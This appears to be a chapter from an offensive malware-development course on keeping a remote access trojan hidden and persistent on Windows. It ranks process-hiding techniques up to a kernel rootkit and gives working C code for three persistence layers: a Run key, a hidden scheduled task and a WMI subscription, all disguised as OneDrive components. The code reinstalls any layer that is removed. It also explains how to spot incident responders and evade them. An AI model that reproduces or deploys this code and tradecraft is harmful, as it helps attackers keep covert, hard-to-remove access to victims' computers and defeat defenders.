RAT Stealth and Long-Term Persistence

Process Stealth — Hiding in Plain Sight

  LEVEL 0 (Do not do this): Standalone implant.exe in user's Downloads folder
  ─────────────────────────────────────────────────────────────────────────
  Process name: "implant.exe" or "rat64.exe"
  Parent: explorer.exe (direct child — suspicious)
  Location: C:\Users\user\Downloads\implant.exe
  User: current user
  Detection: Trivially detected. Process name alone triggers alerts.
  
  LEVEL 1: Renamed legitimate-looking binary
  ─────────────────────────────────────────────────────────────────────────
  Process name: "svchost.exe" or "OneDriveSetup.exe"
  But: real svchost.exe always has svchost.exe as parent and runs as SYSTEM
       Fake svchost.exe has user parent and runs as user — obvious mismatch
  Detection: Easy. Security tools check svchost.exe's parent and privilege level.
  
  LEVEL 2: Injection into legitimate host process
  ─────────────────────────────────────────────────────────────────────────
  Agent code lives inside: OneDrive.exe, Teams.exe, SearchIndexer.exe
  Process name is legitimate. Parent is legitimate. User matches.
  But: extra threads, memory regions with unusual permissions, loaded DLLs
  Detection: Behavioral analysis catches unusual network connections
             from legitimate processes, memory scanning finds injected code.
  
  LEVEL 3: Fully fileless, in legitimate process, memory-only
  ─────────────────────────────────────────────────────────────────────────
  Reflective DLL injection into existing process (no new DLL file on disk)
  No files: agent lives entirely in memory of legitimate process
  No PE header: wipe PE header after loading (Ch60) — malfind can't find it
  ETW disabled: patch EtwEventWrite (Ch46) — no ETW telemetry
  AMSI disabled: patch AmsiScanBuffer (Ch45) — no scan of our payloads
  Low CPU: beacon only every 30-60 seconds — nearly invisible in profiling
  Detection: Requires memory forensics with signature scanning.
             Behavioral network monitoring (Teams.exe → unknown CDN): suspicious.
  
  LEVEL 4 (gold standard): Persistent kernel-resident, user agent fileless
  ─────────────────────────────────────────────────────────────────────────
  Kernel rootkit (BYOVD) hides process from all enumeration
  User agent runs in legitimate process
  Kernel code filters process list to remove agent's host process
  Detection: Requires kernel-level memory forensics tools

Resilience Architecture — Surviving Reboots and Detections

/* rat_persistence.c — Multi-layer persistence for long-term access */

#include <windows.h>
#include <shlobj.h>
#include <stdio.h>
#pragma comment(lib, "shell32.lib")

/*
 * PERSISTENCE PHILOSOPHY:
 * 
 * Single persistence mechanism = single point of failure.
 * If the SOC removes the Run key, you're done.
 * 
 * Multi-layer persistence: install 3 independent mechanisms.
 * If one is found and removed, the others reinstall everything.
 * Even a partial detection doesn't kill the operation.
 * 
 * Layer 1: Registry Run key (visible but fast to detect, fast to reinstall)
 * Layer 2: Scheduled Task (harder to detect visually, survives registry cleans)
 * Layer 3: WMI subscription (event-based, fires on OS events, hardest to find)
 * 
 * Each layer's persistence payload: a small loader/dropper that:
 *   1. Downloads the full agent from C2 (so no agent binary on disk long-term)
 *   2. Loads it reflectively in memory
 *   3. Starts the agent loop
 * If C2 is down: the loader sleeps for a random period and retries.
 */

/* Layer 1: Registry Run key */
BOOL persist_registry_run(const char *loader_path) {
    HKEY hRun;
    if (RegOpenKeyExA(HKEY_CURRENT_USER,
                       "Software\\Microsoft\\Windows\\CurrentVersion\\Run",
                       0, KEY_SET_VALUE, &hRun) != ERROR_SUCCESS) return FALSE;
    
    /* Use an inconspicuous name matching a real Microsoft product */
    BOOL ok = (RegSetValueExA(hRun, "OneDriveHealthCheck", 0, REG_SZ,
                               (BYTE*)loader_path, (DWORD)strlen(loader_path)+1)
               == ERROR_SUCCESS);
    RegCloseKey(hRun);
    return ok;
}

/* Layer 2: Scheduled Task (via schtasks.exe command) */
BOOL persist_scheduled_task(const char *loader_path) {
    char cmd[1024];
    /* Schedule to run at logon, with a 5-minute delay to avoid startup detection */
    snprintf(cmd, sizeof(cmd),
        "schtasks /create /tn \"Microsoft\\Windows\\OneDrive\\OneDriveUpdate\" "
        "/tr \"%s\" /sc onlogon /delay 0000:05 /f /rl highest",
        loader_path);
    
    /* Execute via cmd.exe in hidden window */
    STARTUPINFOA si = {sizeof(si)};
    si.dwFlags = STARTF_USESHOWWINDOW;
    si.wShowWindow = SW_HIDE;
    PROCESS_INFORMATION pi = {0};
    
    char full_cmd[1100];
    snprintf(full_cmd, sizeof(full_cmd), "cmd.exe /c %s", cmd);
    BOOL ok = CreateProcessA(NULL, full_cmd, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi);
    if (ok) {
        WaitForSingleObject(pi.hProcess, 10000);
        CloseHandle(pi.hProcess);
        CloseHandle(pi.hThread);
    }
    return ok;
}

/* Layer 3: WMI Event Subscription (most persistent, hardest to find/remove) */
BOOL persist_wmi_subscription(const char *loader_path) {
    /* WMI subscriptions survive registry cleans, scheduled task removals, and
       most "malware removal" procedures because they live in the WMI repository.
       Only wmic /namespace:\\root\subscription ... DELETE or the WMI repo rebuild
       removes them.
       
       Create via PowerShell (invoked hidden): */
    char ps_script[4096];
    /* Escape loader_path for PowerShell */
    snprintf(ps_script, sizeof(ps_script),
        "$FilterArgs = @{"
        "  Name = 'ODBFilter';"
        "  EventNamespace = 'root\\cimv2';"
        "  QueryLanguage = 'WQL';"
        "  Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 60 "
        "           WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' "
        "           AND TargetInstance.SystemUpTime >= 120\"};"
        "$Filter = Set-WmiInstance -Namespace root\\subscription "
        "  -Class __EventFilter -Arguments $FilterArgs;"
        
        "$ConsumerArgs = @{"
        "  Name = 'ODBConsumer';"
        "  CommandLineTemplate = '%s'};"
        "$Consumer = Set-WmiInstance -Namespace root\\subscription "
        "  -Class CommandLineEventConsumer -Arguments $ConsumerArgs;"
        
        "$BindingArgs = @{"
        "  Filter = $Filter; Consumer = $Consumer};"
        "Set-WmiInstance -Namespace root\\subscription "
        "  -Class __FilterToConsumerBinding -Arguments $BindingArgs;",
        loader_path);
    
    /* Execute PowerShell script hidden */
    char cmd[512];
    /* Write script to temp, execute, delete */
    char tmp_path[MAX_PATH];
    GetTempPathA(sizeof(tmp_path), tmp_path);
    strncat(tmp_path, "wmi_setup.ps1", sizeof(tmp_path)-1);
    
    HANDLE h = CreateFileA(tmp_path, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, NULL);
    if (h != INVALID_HANDLE_VALUE) {
        DWORD w; WriteFile(h, ps_script, (DWORD)strlen(ps_script), &w, NULL);
        CloseHandle(h);
    }
    
    snprintf(cmd, sizeof(cmd),
             "powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass "
             "-File \"%s\"", tmp_path);
    STARTUPINFOA si = {sizeof(si)};
    si.dwFlags = STARTF_USESHOWWINDOW; si.wShowWindow = SW_HIDE;
    PROCESS_INFORMATION pi = {0};
    BOOL ok = CreateProcessA(NULL, cmd, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi);
    if (ok) { WaitForSingleObject(pi.hProcess, 30000); CloseHandle(pi.hProcess); CloseHandle(pi.hThread); }
    DeleteFileA(tmp_path);
    return ok;
}

/* Check if persistence is still installed and reinstall if missing */
void persistence_health_check(const char *loader_path) {
    /* Layer 1: registry */
    HKEY hRun;
    BOOL layer1_ok = FALSE;
    if (RegOpenKeyExA(HKEY_CURRENT_USER,
                       "Software\\Microsoft\\Windows\\CurrentVersion\\Run",
                       0, KEY_READ, &hRun) == ERROR_SUCCESS) {
        char val[MAX_PATH] = {0}; DWORD val_sz = sizeof(val);
        layer1_ok = (RegQueryValueExA(hRun, "OneDriveHealthCheck", 0, NULL,
                                       (BYTE*)val, &val_sz) == ERROR_SUCCESS);
        RegCloseKey(hRun);
    }
    if (!layer1_ok) {
        printf("[!] Persistence layer 1 missing — reinstalling\n");
        persist_registry_run(loader_path);
    }
    
    /* Layers 2 and 3: check schtasks and WMI on each beacon */
    /* (simplified — production impl checks each layer's presence) */
}

Detection Awareness and Graceful Degradation

  Scenario: SOC analyst finds and removes the scheduled task (Layer 2).
  ─────────────────────────────────────────────────────────────────────────
  Layer 1 (Run key) still active → agent still runs on next logon
  Layer 3 (WMI) still active → agent still runs on system event
  
  Agent detects Layer 2 missing at next health check → silently reinstalls it
  SOC removes Layer 2 again → agent reinstalls again
  This continues until SOC realizes the agent is still present
  
  Indicator of active investigation:
  ─────────────────────────────────────────────────────────────────────────
  How does the agent know the SOC is actively looking?
  
  Signal 1: Process enumeration anomalies
    At each beacon: survey_processes() and check if ProcMon, Process Explorer,
    Autoruns, Wireshark, or any security analysis tools are running.
    Any of these = active investigation in progress.
  
  Signal 2: Beacon failures
    If C2 is unreachable for N consecutive beacons: possible network block.
    Combined with security tools running: likely active incident response.
  
  Signal 3: Unusual user activity at unusual hours
    Logon at 2 AM when pattern shows no previous logons after 7 PM:
    IR team working the incident.
  
  Graceful degradation response:
    Detected security tools running:
      → Switch to longest beacon interval (2-4 hours)
      → Disable active capabilities (stop keylogger, screenshotter)
      → Continue passive C2 check-in only
      → Do NOT immediately uninstall persistence (it's a sign you know
         they found you, which could tip them off further)
    
    Detected domain-wide password reset or incident response IOCs:
      → Emergency uninstall all persistence
      → SecureZeroMemory all in-memory data
      → Exit agent (can't do further damage, evidence may already be secured)

Questions & Answers